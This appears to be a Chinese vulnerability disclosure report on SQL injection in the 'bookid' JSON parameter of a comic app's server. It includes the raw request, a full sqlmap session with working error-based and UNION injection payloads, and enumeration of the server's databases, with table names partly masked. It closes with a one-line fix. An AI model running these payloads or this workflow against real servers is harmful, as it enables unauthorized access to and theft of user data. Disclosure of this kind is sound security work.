漫画岛安卓app服务器SQL注入问题URL:/comic/comicsupdateinfo_sb问题参数(POST):bookid原始请求:
POST /comic/comicsupdateinfo_sb HTTP/1.1
accept: */*
connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; A0001 Build/LMY48Y)
Host: mhjk.1391.com
Accept-Encoding: gzip
Content-Length: 56
[{"updatetime":"2016-01-21 00:00:00","bookid":"166465"}]
问题描述:在json的bookid参数中未做合法性验证,导致SQL注入漏洞,可致数据库数据泄露发现过程:在红黑联盟路由器下面正常使用app,发现burp报告漏洞,使用SQLMAP验证后提交漏洞,仅获取数据表名称作为证明,未深入进行数据拖取


code 区域
alkaid@alkaid-VirtualBox:~$ sqlmap -l 001 --tables
         _
 ___ ___| |_____ ___ ___  {1.0-dev-f54b25c}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:22:24
[18:22:24] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
URL 1:
GET https://mhjk.1391.com:80/comic/comicsupdateinfo_sb
POST data: %5B%7B%22updatetime%22%3A%222016-01-21%2000%3A00%3A00%22%2C%22bookid%22%3A%22166465%2A%22%7D%5D
do you want to test this URL? [Y/n/q]
> y
[18:22:26] [INFO] testing URL 'https://mhjk.1391.com:80/comic/comicsupdateinfo_sb'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[18:22:27] [INFO] using '/home/alkaid/.sqlmap/output/results-01232016_0622pm.csv' as the CSV results file in multiple targets mode
[18:22:27] [INFO] testing connection to the target URL
[18:22:27] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[18:22:27] [INFO] testing if the target URL is stable
[18:22:28] [INFO] target URL is stable
[18:22:28] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[18:22:28] [WARNING] (custom) POST parameter '#1*' does not appear dynamic
[18:22:29] [INFO] heuristics detected web page charset 'ascii'
[18:22:29] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[18:22:29] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[18:22:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:22:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[18:22:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:22:29] [INFO] (custom) POST parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[18:22:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:22:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:22:33] [INFO] target URL appears to be UNION injectable with 8 columns
[18:22:34] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 41 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: [{"updatetime":"2016-01-21 00:00:00","bookid":"166465') AND (SELECT 1617 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(1617=1617,1))),0x716b707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('azUG'='azUG"}]

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: [{"updatetime":"2016-01-21 00:00:00","bookid":"166465') UNION ALL SELECT CONCAT(0x71707a6a71,0x64674969486c6b76796567494d486f455443747975696171545466717153425a4c616a7a5a534f41,0x716b707871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"}]
---
do you want to exploit this SQL injection? [Y/n] y
[18:22:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[18:22:43] [INFO] fetching database names
[18:22:43] [INFO] fetching tables for databases: 'comic_biz, comic_library, comic_trade, information_schema, test'
Database: comic_biz
[95 tables]
mask 区域
*****----------*****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****ation     *****
*****          *****
*****          *****
*****          *****
*****          *****
*****elation   *****
*****tion      *****
*****          *****
*****py        *****
*****          *****
*****          *****
*****          *****
*****on        *****
*****          *****
*****          *****
*****o         *****
*****          *****
*****tion      *****
*****log       *****
*****          *****
*****ion       *****
*****          *****
*****          *****
*****_user_rela*****
*****          *****
*****          *****
*****          *****
*****o         *****
*****fo        *****
*****          *****
*****mgs_info  *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****opy       *****
*****          *****
*****o         *****
*****          *****
*****tion      *****
*****          *****
*****nsion     *****
*****          *****
*****          *****
*****          *****
*****          *****
*****nfo       *****
*****o         *****
*****_info     *****
*****info      *****
*****          *****
*****          *****
*****ation     *****
*****          *****
*****          *****
*****          *****
*****elation   *****
*****tion      *****
*****on        *****
*****          *****
*****elation   *****
*****          *****
*****el_relatio*****
*****          *****
*****orm_versio*****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****og        *****
*****og_copy   *****
*****          *****
*****          *****
*****n         *****
*****          *****
*****history   *****
*****          *****
*****          *****
*****y         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****----------*****
**********
*****omic_l*****
*****abl*****
*****----------*****
*****          *****
*****          *****
*****lation    *****
*****tion      *****
*****          *****
*****          *****
*****ion       *****
*****          *****
*****          *****
*****er        *****
*****          *****
*****_info     *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****_relation *****
*****          *****
*****d         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****----------*****
**********
*****ormatio*****
*****abl*****
*****----------*****
*****          *****
*****          *****
*****ER_SET_APP*****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****E         *****
*****E_LRU     *****
*****L_STATS   *****
*****          *****
*****          *****
*****ET        *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****RAINTS    *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****----------*****
**********
*****omic_t*****
*****abl*****
*****----------*****
*****          *****
*****ount_histo*****
*****e_history *****
*****tory      *****
*****          *****
*****y         *****
*****history   *****
*****          *****
*****          *****
*****as_info   *****
*****history   *****
*****as_history*****
*****          *****
*****tory      *****
*****          *****
*****          *****
*****_history  *****
*****story     *****
*****nfo       *****
*****          *****
*****istory    *****
*****ory       *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****_0        *****
*****_1        *****
*****_2        *****
*****_3        *****
*****_4        *****
*****_5        *****
*****_6        *****
*****_7        *****
*****_8        *****
*****_9        *****
*****_as_0     *****
*****_as_1     *****
*****_as_2     *****
*****_as_3     *****
*****_as_4     *****
*****_as_5     *****
*****_as_6     *****
*****_as_7     *****
*****_as_8     *****
*****_as_9     *****
*****t_0       *****
*****t_1       *****
*****t_2       *****
*****t_3       *****
*****t_4       *****
*****t_5       *****
*****t_6       *****
*****t_7       *****
*****t_8       *****
*****t_9       *****
*****t_as_0    *****
*****t_as_1    *****
*****t_as_2    *****
*****t_as_3    *****
*****t_as_4    *****
*****t_as_5    *****
*****t_as_6    *****
*****t_as_7    *****
*****t_as_8    *****
*****t_as_9    *****
*****istory    *****
*****ory       *****
*****rder      *****
*****r         *****
*****----------*****
[18:22:43] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[18:22:43] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/alkaid/.sqlmap/output/results-01232016_0622pm.csv'
附:红黑联盟路由结合burp的漏洞提示截图(之后根据该结果使用sqlmap测试漏洞危害)

解决方案:
过滤json中的两个参数